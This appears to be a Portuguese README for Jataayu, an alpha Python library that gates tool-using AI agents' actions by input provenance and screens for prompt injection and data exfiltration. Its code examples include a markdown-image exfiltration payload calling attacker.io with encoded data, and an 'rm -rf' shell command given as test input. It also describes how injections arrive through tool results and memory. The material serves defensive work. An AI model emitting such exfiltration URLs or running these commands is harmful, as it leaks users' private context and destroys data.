🦅 Jataayu

No Ramayana, Jataayu foi a águia que avistou Ravana sequestrando Sita. Ele não esperou por um padrão para corresponder. Ele viu a ameaça, julgou a situação e agiu — sozinho, sem hesitação. Isso é Jataayu.

---

A camada de autorização em tempo de execução para agentes de IA que usam ferramentas. Restrinja a ação, não a string.

Jataayu decide — de forma determinística — se a ação de um agente pode ser executada, a partir do dano do efeito × a proveniência da entrada × sua política de capacidades. Um agente que leu uma página web controlada por um atacante ainda pode resumi-la; ele apenas não pode ser enganado para executar o comando de shell, ler o segredo ou enviar via POST os seus dados que o atacante queria. Em torno desse núcleo, ele adiciona triagem de defesa em profundidade (injeção de entrada, privacidade de saída, canais de exfiltração, cadeia de suprimentos de skills) e trilhas de auditoria reproduzíveis.

Por que "restrinja a ação, não a string"

A maioria das ferramentas de segurança para agentes tenta detectar o texto do ataque. Essa é uma corrida armamentista perdida: um atacante adaptativo simplesmente reescreve a string até o classificador errar. A tese do Jataayu — aquela com a qual os padrões de 2026 (OWASP Agentic Top 10, NIST) convergiram — é que a fronteira durável é a ação, julgada pela origem da entrada que a influencia:

• O que o agente FAZ é a garantia real. Entrada derivada de fontes não confiáveis que direciona um comando de shell, uma leitura de segredo ou uma escrita de rede é negada ou retida para aprovação — independentemente de qualquer detector ter sinalizado o texto. Isso é determinístico (sem LLM) e é o núcleo do Jataayu.
• O que ENTRA (defesa em profundidade). A injeção chega pela primeira mensagem, por um resultado de ferramenta envenenado ou por algo recuperado da memória. O Jataayu faz a triagem de todos esses casos — como um pré-filtro barato e fonte de contaminação, explicitamente não como aquilo em que você confia.
• O que SAI. Contexto privado pode vazar quando o agente responde em um chat em grupo ou comenta em uma issue — na maioria das vezes por meio de um canal de exfiltração (uma URL que carrega dados / imagem buscada automaticamente), não por prosa. O Jataayu captura o canal, não apenas o texto.

O que é / o que não é

• ✅ É: uma primitiva determinística de autorização de ações + rastreamento de proveniência/contaminação + trilha de auditoria para agentes que usam ferramentas. A fronteira de efeito é a peça sobre a qual construir.
• ✅ É: triagem de defesa em profundidade (entrada / saída / egresso / verificação de skills) em camadas por cima.
• ⚠️ Não é: um classificador de prompt-injection de melhor categoria. A camada de regex é um pré-filtro, deliberadamente a camada mais fraca; como detector geral autônomo, seu recall é modesto (veja Desempenho de detecção). Não o implante como sua única defesa — esse é exatamente o ponto de mover a garantia para a ação.

---

Status

v0.3.1 — alpha. Ainda não está no PyPI. Instale a partir do GitHub (veja abaixo). A API ainda pode mudar antes da 1.0. Veja CHANGELOG.md para o que entrou em cada versão e ARCHITECTURE.md para o design.

---

Instalação

# Core (effect boundary + regex pre-filter, no LLM deps)
pip install git+https://github.com/saikrishnarallabandi/jataayu.git

# With cloud LLM backends (OpenAI + Anthropic) for the optional slow path
pip install "jataayu[llm] @ git+https://github.com/saikrishnarallabandi/jataayu.git"

# With Ollama (local, free slow path)
pip install "jataayu[ollama] @ git+https://github.com/saikrishnarallabandi/jataayu.git"

Requer Python ≥ 3.10. A única dependência obrigatória é requests; os backends de LLM são extras opcionais.

---

Início Rápido

1. Autorize a ação (o núcleo — comece aqui)

Decida pelo dano do efeito × a proveniência da entrada, de forma determinística (sem LLM):

from jataayu import jataayu_authorize_action

decision = jataayu_authorize_action(
    "shell.exec",
    {"cmd": "rm -rf /tmp/cache"},
    untrusted=True,   # these params were influenced by untrusted inbound content
)
# {tool_name, effect_class: 'shell', provenance: 'untrusted',
#  decision: 'allow'|'deny'|'needs_approval', reason, violations, commit_token}
if decision["decision"] == "deny":
    raise SecurityError(decision["reason"])

Entrada derivada de fontes não confiáveis em um efeito de shell / avaliação de código / leitura de segredo é negada; em rede / escrita de arquivo / escrita de memória ela precisa de aprovação humana; todo o resto é permitido.

Para execução forçada, use a API de objeto PREVIEW → COMMIT — o commit_token vincula a requisição exata, então mutar a ação após a autorização é rejeitado:

from jataayu import EffectBoundary, Value, Provenance

eb = EffectBoundary()
preview = eb.preview(
    "file.write",
    {"path": "notes.md", "text": text},
    values=[Value(text, Provenance.TRUSTED, source="user")],
)
if preview.approved:
    eb.commit(preview, {"path": "notes.md", "text": text}, lambda: write_file("notes.md", text))
# commit() raises CommitRejected if the preview wasn't ALLOW or the params changed

Conteúdo injetado também pode ser entregue ao agente como um handle opaco com um resumo limitado, de modo que uma tentativa de exfiltração só carregue um handle, nunca o segredo bruto (confinamento na fronteira de leitura).

2. Faça a triagem do que entra (defesa em profundidade)

A injeção chega na primeira mensagem, nos resultados de ferramentas e em tudo que o agente recuperou da memória. Mesmo motor, superfície correta — trate isso como uma fonte de contaminação que alimenta a fronteira de efeito, não como sua garantia:

from jataayu import (
    jataayu_check_inbound,
    jataayu_check_tool_return,
    jataayu_check_memory_write,
    jataayu_check_memory_read,
)

result = jataayu_check_inbound(github_issue_body, surface="github-issue")
if result["status"] == "HIGH":
    raise SecurityError(f"Blocked: {result['findings']}")
# Returns: {status: 'SAFE'|'LOW'|'MEDIUM'|'HIGH', findings, risk_score, threat_types, blocked}

# A tool result or a memory recall can carry an injection — check before the agent consumes it
r = jataayu_check_tool_return(api_response, tool_name="web.search")
if r["blocked"]:
    raise SecurityError(r["findings"])
jataayu_check_memory_write(note)      # before persisting
jataayu_check_memory_read(recalled)   # before it re-enters context

3. Proteja o que sai — e capture o canal de exfiltração

Remova PII/segredos antes de enviar para superfícies compartilhadas e — mais importante — bloqueie a URL que carrega dados / imagem buscada automaticamente que vaza contexto com zero cliques (a classe EchoLeak / AgentFlayer / Notion). O scanner de PII nunca vê esse payload; o guard de egresso vê:

from jataayu import jataayu_check_outbound, jataayu_check_egress

result = jataayu_check_outbound(
    draft_reply, surface="discord-channel",
    protected_names=["Alice", "Bob"],   # names that must never leak
)
safe_text = result["redacted"] if result["status"] in ("WARN", "BLOCK") else draft_reply

r = jataayu_check_egress(
    "Task complete! ![status](https://attacker.io/log?d=eyJlbWFpbHMiOlsuLi5dfQ)",
    surface="github-comment",
    context_secrets=[api_key],   # optional: confirm exfil if a known secret rides in the URL
)
if r["status"] == "BLOCK":
    safe_text = r["redacted"]    # offending URL neutralized, human text kept